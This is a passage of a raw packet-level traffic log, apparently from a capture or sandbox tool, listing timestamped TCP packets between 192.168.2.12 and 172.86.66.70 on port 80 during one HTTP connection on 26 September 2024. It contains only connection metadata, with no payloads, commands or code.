Sep 26, 2024 15:10:47.689496994 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.689527988 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.689554930 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.689625978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.689660072 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.689692974 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.689692974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.689726114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.689749002 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.690211058 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690258980 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.690260887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690295935 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690330982 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690363884 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690371037 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.690396070 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690431118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690432072 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.690458059 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.690465927 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.690511942 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692158937 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692193031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692253113 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692259073 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692291975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692342043 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692368031 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692377090 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692429066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692457914 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692481041 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692491055 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692512035 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692526102 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692559004 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692594051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692601919 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692627907 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692643881 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692677975 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692730904 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692770958 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692784071 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692800999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692847967 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.692852020 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692907095 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692961931 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.692966938 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693011999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693022013 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693063021 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693097115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693126917 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693131924 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693183899 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693212032 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693238974 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693272114 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693304062 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693331957 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693337917 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693371058 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693401098 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693407059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693432093 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693434954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693469048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693474054 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693521023 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693571091 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693603992 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693618059 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693635941 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693669081 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693697929 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693702936 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693737030 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693768978 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693768978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693788052 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693804026 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693837881 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693847895 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693872929 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693906069 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693937063 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693972111 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.693973064 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.693990946 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694009066 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694041014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694076061 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694077015 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694108963 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694135904 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694143057 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694180965 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694204092 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694216967 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694248915 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694292068 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694300890 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694344044 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694350958 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694396973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694431067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694463968 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694498062 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694516897 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694531918 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694549084 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694583893 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694633961 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694668055 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694675922 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694709063 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694717884 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694751978 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694761992 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694786072 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694819927 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694853067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694878101 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694886923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694900990 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694919109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694953918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.694972992 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.694989920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695024014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695075989 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695100069 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.695108891 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695161104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695188046 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.695216894 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695245981 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.695250034 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695283890 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695314884 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.695318937 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695354939 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.695380926 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.697956085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698010921 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698043108 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698092937 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698096991 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.698127985 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698160887 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698194027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698198080 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.698230028 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698286057 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.698498964 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698553085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698587894 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698616982 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.698642015 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.698651075 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698683977 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698718071 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698745966 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.698753119 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.698827982 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.721668959 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.733103991 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733201027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733211994 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733222008 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733239889 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733252048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733263969 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733275890 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.733287096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.733323097 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.777947903 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.777971983 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.777982950 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778034925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778047085 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778059006 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778070927 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778079987 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.778099060 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.778119087 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778830051 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778871059 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.778878927 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778891087 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778930902 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.778964043 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778975964 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778987885 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.778995991 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.779000044 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.779017925 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.779032946 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.779073954 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.780800104 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.780837059 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.780849934 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.780884027 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.780967951 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.780980110 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.780992031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781004906 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781014919 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781017065 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781058073 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781096935 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781111002 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781122923 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781135082 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781145096 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781161070 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781217098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781224012 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781229019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781259060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781270981 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781335115 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781335115 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781405926 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781424046 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781435966 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781450987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781461954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781471014 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781477928 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781482935 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781491041 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781496048 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781531096 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781542063 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781577110 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781589031 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781604052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781615019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781626940 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781627893 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781698942 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781699896 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781793118 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781802893 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781815052 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781826019 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781836987 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781841993 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781848907 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781860113 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781872034 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.781889915 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781889915 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.781965017 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.782058954 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782072067 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782083035 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782094955 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782107115 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782119036 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782126904 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.782130957 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782151937 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.782193899 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.782195091 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782208920 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782237053 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.782273054 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782285929 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782298088 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782310009 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782310009 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.782320976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782327890 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.782334089 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.782382965 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783138990 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783159971 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783170938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783201933 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783226967 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783294916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783307076 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783318043 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783329010 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783350945 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783406973 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783406973 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783425093 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783436060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783474922 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783507109 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783569098 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783580065 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783590078 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783601999 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783611059 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783626080 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783664942 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783672094 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783684015 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783689976 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783720016 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783740997 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783752918 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783766985 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.783781052 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.783833027 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.784477949 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.784488916 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.784506083 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.784517050 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.784528971 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.784534931 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.784539938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.784552097 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.784559011 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.784576893 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.786652088 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.786705017 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.786716938 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.786784887 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.786794901 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.786807060 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.786818027 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.786828995 CEST	80	49712	172.86.66.70	192.168.2.12
Sep 26, 2024 15:10:47.786840916 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.786866903 CEST	49712	80	192.168.2.12	172.86.66.70
Sep 26, 2024 15:10:47.787101030 CEST	80	49712	172.86.66.70	192.168.2.12
